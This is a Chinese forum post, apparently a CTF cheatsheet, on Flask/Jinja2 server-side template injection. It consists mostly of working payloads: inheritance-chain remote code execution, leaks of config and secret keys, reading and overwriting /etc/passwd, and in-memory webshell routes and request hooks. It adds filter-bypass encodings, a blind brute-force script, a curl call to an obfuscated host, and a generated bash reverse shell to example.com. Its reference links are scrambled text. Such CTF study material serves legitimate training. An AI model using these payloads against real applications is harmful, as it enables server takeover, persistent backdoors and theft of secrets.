-
-
[原创]【CTF】Flask SSTI姿势与手法总结 Cheatsheet速查表
-
发表于: 2025-2-17 10:27 3853
-
背景介绍
SSTI,又称服务端模板注入。其发生在MVC框架中的view层。
服务端接收了用户的输入,将其作为Web 应用模板内容的一部分,在进行目标编译渲染的过程中,执行了用户插入的恶意内容,导致了敏感信息泄露、代码执行、GetShell 等问题。
本文总结了一系列Flask的模板注入利用方式,类似于Cheatsheet(速查表),可能需要一点SSTI的基础。难免存在描述不准确的情况,请提出修改意见~
继承链流程
通过访问Python内部属性,获取可以执行命令的库和函数。
- 获取实例对象的类
- 获取该类的祖先类object
- 获取object的子类
- 选取
__init__
为函数的类 - 获取其
__globals__
属性的__builtins__
- 使用内置的类执行代码或导包后执行命令
Python内部属性:
1 2 3 4 5 6 7 8 9 10 | __class__ 返回一个实例所属的类 __mro__ 查看类继承的所有父类,直到 object __subclasses__() 获取一个类的子类,返回的是一个列表 __bases__ 返回一个类直接所继承的类(元组形式) __init__ 类实例创建之后调用, 对当前对象的实例的一些初始化 __globals__ 使用方式是 函数名.__globals__,返回一个当前空间下能使用的模块,方法和变量的字典,与func_globals等价 __getattribute__ 当类被调用的时候,无条件进入此函数。 __getattr__ 对象中不存在的属性时调用 __dict__ 返回所有属性,包括属性,方法等 __builtins__ 方法是作为默认初始模块出现的,可用于查看当前所有导入的内建函数 |
获取object类
python的object类是所有类的基类,可以通过__mro__
和__bases__
两种方式来访问到object。
__mro__
属性获取类的MRO(方法解析顺序),也就是继承关系。
1 2 3 4 5 | ().__class__.__mro__[ 1 ] {}.__class__.__mro__[ 1 ] [].__class__.__mro__[ 1 ] ''.__class__.__mro__[ 1 ] #python3 ''.__class__.__mro__[ 2 ] #python2 |
__base__
属性可以获取该类的基类,可以叠加使用。
1 2 3 4 5 | ().__class__.__base__ {}.__class__.__base__ [].__class__.__base__ ''.__class__.__base__ # python3 ''.__class__.__base__.__base__ # python2 |
__bases__
属性可以获取多继承的基类元组。
1 2 3 4 | ().__class__.__bases__[ 0 ] {}.__class__.__bases__[ 0 ] [].__class__.__bases__[ 0 ] ''.__class__.__bases__[ 0 ] # python3 |
获取子类列表
然后通过object类的__subclasses__()
方法获取所有的子类列表,查看可用的类。
1 | ().__class__.__bases__[ 0 ].__subclasses__() |
找到__init__
为函数的类。
在获取初始化属性后,寻找不带warpper的,wrapper是指这些函数并没有被重载,function,不具有__globals__属性。
1 2 3 4 | l = len ([].__class__.__mro__[ 1 ].__subclasses__()) for i in range (l): if 'wrapper' not in str ([].__class__.__mro__[ 1 ].__subclasses__()[i].__init__): print (i,[].__class__.__mro__[ 1 ].__subclasses__()[i]) |
或者使用func_globals
RCE
常见的三种利用方式
__builtins__
1 2 3 | [].__class__.__mro__[ 1 ].__subclasses__()[ 58 ].__init__.__globals__[ '__builtins__' ][ 'eval' ]( '__import__("os").popen("ls").read()' ) [].__class__.__mro__[ 1 ].__subclasses__()[ 58 ].__init__.__globals__[ '__builtins__' ][ '__import__' ]( 'os' ).popen( 'whoami' ).read() [].__class__.__mro__[ 1 ].__subclasses__()[ 58 ].__init__.__globals__[ '__builtins__' ][ '__import__' ]( 'platform' ).popen( 'whoami' ).read() |
linecache
1 2 3 | [].__class__.__mro__[ 1 ].__subclasses__()[ 58 ].__init__.__globals__[ 'linecache' ].__dict__[ 'os' ].system( 'whoami' ) [].__class__.__mro__[ 1 ].__subclasses__()[ 58 ].__init__.__globals__[ 'linecache' ].__dict__[ 'sys' ].modules[ 'os' ].system( 'whoami' ) [].__class__.__mro__[ 1 ].__subclasses__()[ 58 ].__init__.__globals__[ 'linecache' ].__dict__[ '__builtins__' ][ '__import__' ]( 'os' ).system( 'ls' ) |
sys
1 | [].__class__.__mro__[ 1 ].__subclasses__()[ 58 ].__init__.__globals__[ 'sys' ].modules[ 'os' ].system( 'whoami' ) |
信息泄露
泄漏环境变量等配置
1 2 3 4 5 6 7 8 9 10 11 | {{config}} {{ self .__dict__}} {{url_for.__globals__[ 'current_app' ].config}} {{get_flashed_messages.__globals__[ 'current_app' ].config}} {{get_flashed_messages.__globals__[ 'current_app' ].config.FLAG}} {{request.application.__self__._get_data_for_json.__globals__[ 'json' ].JSONEncoder.default.__globals__[ 'current_app' ].config[ 'FLAG' ]}} {{ self }} ⇒ <TemplateReference None > {{ self .__dict__._TemplateReference__context.config}} {{ self .__dict__._TemplateReference__context.lipsum.__globals__.__builtins__. open ( "/flag" ).read()}} |
文件读取
python2
1 2 3 4 5 | {{' '.__class__.__mro__[2].__subclasses__()[40](' / etc / passwd').read()}} ' '.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__[' __builtins__ '][' file '](' / etc / passwd').read() ' '.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__[' __builtins__ '][' open '](' / etc / passwd').read() |
python3
1 | ' '.__class__.__mro__[1].__subclasses__()[80].__init__.__globals__[' __builtins__ '][' open '](' / etc / passwd').read() |
文件写入
python2
1 2 3 4 5 | {{' '.__class__.__mro__[2].__subclasses__()[40](' / etc / passwd ',' w ').write(' test')}} ' '.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__[' __builtins__ '][' file '](' / etc / passwd ',' w ').write(' test') ' '.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__[' __builtins__ '][' open '](' / etc / passwd ',' w ').write(' test') |
内存马
add_url_rule
提供了一个执行命令的路由
1 | url_for.__globals__[ '__builtins__' ][ 'eval' ]( "app.add_url_rule('/shell', 'shell', lambda :__import__('os').popen(_request_ctx_stack.top.request.args.get('cmd', 'whoami')).read())" ,{ '_request_ctx_stack' :url_for.__globals__[ '_request_ctx_stack' ], 'app' :url_for.__globals__[ 'current_app' ]}) |
before_request_funcs
1 | {{url_for.__globals__[ '__builtins__' ][ 'eval' ]( "__import__('sys').modules['__main__'].__dict__['app'].before_request_funcs.setdefault(None,[]).append(lambda+:__import__('os').popen('dir').read())" )}} |
after_request_funcs
1 | {{url_for.__globals__[ '__builtins__' ][ 'eval' ]( "app.after_request_funcs.setdefault(None, []).append(lambda resp: CmdResp if request.args.get('cmd') and exec(\"global CmdResp;CmdResp=__import__(\'flask\').make_response(__import__(\'os\').popen(request.args.get(\'cmd\')).read())\")==None else resp)" ,{'request ':url_for.__globals__[' request '],' app ':url_for.__globals__[' current_app']})}} |
error_handler_spec
1 | {{url_for.__globals__[ '__builtins__' ][ "exec" ]( "global exc_class;global code;exc_class, code = app._get_exc_class_and_code(404);app.error_handler_spec[None][code][exc_class] = lambda a:__import__('os').popen(request.args.get('cmd')).read()" ) |
WAF绕过
盲注
通过回显内容的真假爆破字符串
1 2 3 4 5 | { % for char in get_env(name = "SECRET_KEY" ) % } { % if char is matching('') % } 1 { % else % } 0 { % endif % } { % endfor % } |
示例脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 | import string import time import requests url = "https://ip:port/" s = string.printable def ssti(re): payload = """text={%for%20char%20in%20get_env(name="SECRET_KEY")%}{%if%20char%20is%20matching('str')%20%}1{%else%}0{%endif%}{%endfor%}""" .replace(" str ", re) headers = { "Content-Type" : "application/x-www-form-urlencoded" } result = requests.post(url, data = payload, headers = headers, verify = False ).text if "1" in result: print (re, result) return re return "" for i in s: time.sleep( 0.5 ) ssti(i) |
jinja2过滤器
attr
用于获取变量属性
1 2 | ' '|attr(' __class__') >> ''.__class__ |
format
1 | "%c%c%c%c%c%c%c%c%c" | format ( 95 , 95 , 99 , 108 , 97 , 115 , 115 , 95 , 95 ) = = '__class__' |
first last random
1 2 3 | |last() = > [ - 1 ] |first() = > [ 0 ] |random() = > [?] |
join
1 2 3 4 | {{[ 1 , 2 , 3 ]|join( '|' )}} >> 1 | 2 | 3 {{[ 1 , 2 , 3 ]|join}} >> 123 |
lower
1 | " "[" __CLASS__"|lower] |
replace reverse
1 2 | '__claee__' |replace( 'ee' , 'ss' ) '__ssalc__' |reverse |
string
1 2 | ().__class__ = > < class 'tuple' > (().__class__|string)[ 0 ] = > < |
select
1 2 | ()|select|string >> '<generator object select_or_reject at 0x0000022717FF33C0>' |
list
转换为列表
过滤关键词
字符串拼接
加号是多余的
1 | {{' '.__class__.__mro__[1].__subclasses__()[139].__init__.__globals__[' __buil '+' tins__ '][' __imp '+' ort__ '](' o '+' s ').popen(' who '+' ami').read()}} |
引号
1 | {{' '[' __class__ '].__mro__[1].__subclasses__()[139].__init__.__globals__[' __bui' 'ltins__' ][ '__impo' 'rt__' ]( 'o' 's' ).popen( 'who' 'ami' ).read()}} |
__getattribute__
同时绕过中括号
1 | ' '.__getattribute__(' __class__') |
切片
1 | "__ssalc__" [:: - 1 ] |
编码
base64(python2)
1 | {{' '.__class__.__mro__[1].__subclasses__()[139].__init__.__globals__[' __builtins__ '][' X19pbXBvcnRfXw = = '.decode(' base64 ')](' os ').popen(' whoami').read()}} |
Unicode
1 | {{' '.__class__.__mro__[1].__subclasses__()[139].__init__.__globals__[' __builtins__ '][' \u005f\u005f\u0069\u006d\u0070\u006f\u0072\u0074\u005f\u005f '](' os ').popen(' whoami').read()}} |
16进制
1 | {{' '.__class__.__mro__[1].__subclasses__()[139].__init__.__globals__[' __builtins__ '][' \x5f\x5f\x69\x6d\x70\x6f\x72\x74\x5f\x5f '](' os ').popen(' whoami').read()}} |
8进制
1 | {{' '[' \ 137 \ 137 \ 143 \ 154 \ 141 \ 163 \ 163 \ 137 \ 137 '].__mro__[1].__subclasses__()[139].__init__.__globals__[' __builtins__ '][' \ 137 \ 137 \ 151 \ 155 \ 160 \ 157 \ 162 \ 164 \ 137 \ 137 '](' os ').popen(' whoami').read()}} |
format
1 | "{0:c}{1:c}{2:c}{3:c}{4:c}{5:c}{6:c}{7:c}{8:c}" . format ( 95 , 95 , 99 , 108 , 97 , 115 , 115 , 95 , 95 ) |
chr
1 2 | { % set chr = url_for.__globals__[ '__builtins__' ]. chr % } {{""[ chr ( 95 ) % 2bchr ( 95 ) % 2bchr ( 99 ) % 2bchr ( 108 ) % 2bchr ( 97 ) % 2bchr ( 115 ) % 2bchr ( 115 ) % 2bchr ( 95 ) % 2bchr ( 95 )]}} |
~
1 | { % set a = '__cla' % }{ % set b = 'ss__' % }{{""[a~b]}} |
大小写
1 | ' '[' __CLASS__'.lower()] |
过滤[]
调用方法来获取属性
列表方法
__getitem__
pop
1 2 | list .__getitem__( 0 ) list .pop( 0 ) |
字典方法
__getitem__
pop
get
setdefault
1 2 3 4 | dict .__getitem__( '__builtins__' ) dict .pop( '__builtins__' ) dict .get( '__builtins__' ) dict .setdefault( '__builtins__' ) |
1 | {{' '.__class__.__mro__.__getitem__(1).__subclasses__().__getitem__(139).__init__.__globals__.__getitem__(' __builtins__ ').__getitem__(' __import__ ')(' os ').popen(' whoami').read()}} |
1 | {{' '.__class__.__mro__.pop(1).__subclasses__().pop(139).__init__.__globals__.__getitem__(' __builtins__ ').__getitem__(' __import__ ')(' os ').popen(' whoami').read()}} |
过滤引号
request
request.args和request.values
1 | {{[].__class__.__mro__[ 1 ].__subclasses__()[ 139 ].__init__.__globals__.__builtins__. __import__ (request.args.v1).popen(request.values.v2).read()}}&v1 = os&v2 = whoami |
chr
1 | { % set chr = ().__class__.__mro__[ 1 ].__subclasses__()[ 139 ].__init__.__globals__.__builtins__. chr % }{{''.__class__.__mro__[ 1 ].__subclasses__()[ 139 ].__init__.__globals__.__builtins__. __import__ ( chr ( 111 ) % 2Bchr ( 115 )).popen( chr ( 119 ) % 2Bchr ( 104 ) % 2Bchr ( 111 ) % 2Bchr ( 97 ) % 2Bchr ( 109 ) % 2Bchr ( 105 )).read()}} |
过滤.
点等价于__getattribute__
1 | ' '.__getattribute__(' __class__') |
[]
1 | {{' '[' __class__ '][' __mro__ '][1][' __subclasses__ ']()[139][' __init__ '][' __globals__ '][' __builtins__ '][' eval '](request.args.v1)}} |
|attr
1 | {{()|attr( '__class__' )|attr( '__base__' )|attr( '__subclasses__' )()|attr( '__getitem__' )( 139 )|attr( '__init__' )|attr( '__globals__' )|attr( '__getitem__' )( '__builtins__' )|attr( '__getitem__' )( 'eval' )( '__import__("os").popen("whoami").read()' )}} |
过滤_
request
1 | {{''[request.args.v1][request.args.v2][ 1 ][request.args.v3]()[ 139 ][request.args.v4][request.args.v5][request.args.v6][request.args.v7](request.args.v8)}}&v1 = __class__&v2 = __mro__&v3 = __subclasses__&v4 = __init__&v5 = __globals__&v6 = __builtins__&v7 = eval &v8 = __import__ ( "os" ).popen( "whoami" ).read() |
过滤{{}}
if
1 | { % if ' '.__class__.__base__.__subclasses__()[139].__init__.__globals__[' __builtins__ '][' eval '](' __import__ ( "os" ).popen( "curl 16eK9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8Y4S2^5P5q4)9J5k6i4S2^5P5q4)9J5k6i4S2^5P5q4)9J5k6i4S2^5P5q4)9K6b7e0p5J5x3K6b7#2i4K6u0r3i4K6y4r3K9g2)9K6c8q4)9$3x3s2N6Z5L8$3q4E0K9g2)9$3x3l9`.`." ).read()') % } 1 { % endif % } |
1 | { % print (' '.__class__.__base__.__subclasses__()[139].__init__.__globals__[' __builtins__ '][' eval '](' __import__ ( "os" ).popen( "ls" ).read()')) % } |
长度绕过
1 2 | {{url_for.__globals__[request.args.a]}} {{lipsum.__globals__.os[request.args.a]}} |
Jinja 模板中存在 set 语句,用来设置模板中的变量:{% set var='test' %}
配合字典的 update() 方法来更新 config 全局对象
1 2 3 4 5 6 7 | {{config}} { % set x = config.update(l = lipsum) % } { % set x = config.update(u = config.update) % } { % set x = config.u(g = request.args.a) % }&a = __globals__ { % set x = config.u(o = lipsum[config.g].os) % } { % set x = config.u(f = config.l[config.g]) % } {{config.f.os.popen( 'cat /f*' ).read()}} |
自动化脚本
Marven11/Fenjing: 专为CTF设计的Jinja2 SSTI全自动绕WAF脚本 | A Jinja2 SSTI cracker for bypassing WAF, designed for CTF
现在很多选手直接用脚本梭了,出题人表示很难绷。希望大家还是先学习前面的技术,再考虑使用脚本。
1 2 | fenjing webui fenjing scan --url 'http://xxxx:xxx' |
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 | from fenjing import exec_cmd_payload, config_payload import logging logging.basicConfig(level = logging.INFO) def waf(s: str ): blacklist = [ "config" , "self" , "g" , "os" , "class" , "length" , "mro" , "base" , "lipsum" , "[" , '"' , "' ", " _ ", " . ", " + ", " ~ ", " {{", "0" , "1" , "2" , "3" , "4" , "5" , "6" , "7" , "8" , "9" , "0" , "1" , "2" , "3" , "4" , "5" , "6" , "7" , "8" , "9" ] return all (word in s for word in blacklist) if __name__ = = "__main__" : shell_payload, _ = exec_cmd_payload(waf, "bash -c \"bash -i >& /dev/tcp/example.com/3456 0>&1\"" ) config_payload = config_payload(waf) print (f "{shell_payload=}" ) print (f "{config_payload=}" ) |
后记
本文参考了较多师傅们的利用手法,欢迎来认领(好多找不到出处)
引用与参考链接:
- 4f2K9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6%4N6%4N6Q4x3X3g2X3M7X3g2W2j5Y4g2X3i4K6u0W2j5$3!0E0i4K6u0r3j5i4u0@1K9h3y4D9k6i4y4Q4x3V1k6%4k6h3u0Q4x3V1j5K6y4e0V1K6z5e0u0Q4x3X3g2Z5N6r3#2D9
- e53K9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6^5P5W2)9J5k6h3q4D9K9i4W2#2L8W2)9J5k6h3y4G2L8g2)9J5c8X3&6W2N6%4y4Q4x3V1j5I4y4U0t1J5y4l9`.`.
[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课